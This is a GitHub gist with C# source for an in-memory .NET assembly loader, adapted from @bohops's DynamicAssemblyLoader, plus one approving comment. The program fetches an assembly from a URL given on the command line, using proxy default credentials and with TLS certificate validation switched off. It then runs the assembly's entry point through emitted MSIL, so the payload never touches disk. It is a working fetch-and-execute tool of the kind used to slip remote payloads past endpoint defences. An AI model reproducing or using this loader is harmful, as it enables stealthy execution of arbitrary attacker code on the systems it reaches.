Skip to content

Instantly share code, notes, and snippets.

@sdcampbell
Last active February 5, 2023 19:49
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save sdcampbell/41dcaef1068b6b44fd05ac1d3a0dc661 to your computer and use it in GitHub Desktop.
Save sdcampbell/41dcaef1068b6b44fd05ac1d3a0dc661 to your computer and use it in GitHub Desktop.
Extended Bohop's DynamicAssemblyLoader to work with any .Net assembly loaded from http/s. The original project (https://github.com/bohops/DynamicDotNet/blob/main/assembly_loader/DynamicAssemblyLoader.cs) loaded an assembly from a hard-coded path on disk.
// DynamicAssemblyLoader: A DotNet Assembly Loader using a Dynamic Method and Emitted MSIL Instructions
// Author: @bohops
//
// "Normal" Implementation:
/*
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(obj, objArr);
*/
// Original author is @bohops
// Modified by @lpha3ch0. The original project used a hard-coded path to an assembly on disk.
// This version is modified to allow the user to pass a URL and arguments on the command line
// so that it can be used with any assembly without being recompiled, and doesn't require you
// you to host the assembly on disk.
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.IO;
using System.Net;
public class Program
{
public static void Main(string[] args)
{
if (args.Length == 0 || args[0] == "-h" || args[0] == "--help")
{
Console.WriteLine("You must include the URL to your hosted assembly and any arguments.");
Console.WriteLine($"Example: {System.AppDomain.CurrentDomain.FriendlyName} http://192.168.1.1/DotNetAssembly.exe \"arg1\" \"arg2\" \"-f blah\"");
System.Environment.Exit(1);
}
string path = args[0];
IWebProxy proxy = WebRequest.GetSystemWebProxy();
proxy.Credentials = CredentialCache.DefaultCredentials;
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;
WebClient myWebClient = new WebClient();
myWebClient.Proxy = proxy;
myWebClient.UseDefaultCredentials = true;
byte[] assemblyBytes = myWebClient.DownloadData(path);
string[] assemblyArgs = new string[args.Length - 1];
Array.Copy(args, 1, assemblyArgs, 0, args.Length - 1);
object obj = new object();
object[] objArr = new object[] { assemblyArgs };
//Load and invoke the assembly
DynamicMethod dynamicMethod = new DynamicMethod("_Invoke", typeof(void), new Type[] { typeof(byte[]), typeof(object), typeof(object[]) });
ILGenerator iLGenerator = dynamicMethod.GetILGenerator();
iLGenerator.Emit(OpCodes.Ldarg_0);
iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }), null);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("get_EntryPoint", new Type[] { }), null);
iLGenerator.Emit(OpCodes.Ldarg_1);
iLGenerator.Emit(OpCodes.Ldarg_2);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }), null);
iLGenerator.Emit(OpCodes.Pop);
iLGenerator.Emit(OpCodes.Ret);
dynamicMethod.Invoke(null, new object[] { assemblyBytes, obj, objArr });
}
}
@Fadavvi
Copy link

Fadavvi commented Feb 1, 2023

Nice one buddy.
You can add the following line to avoid SSL errors:

ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment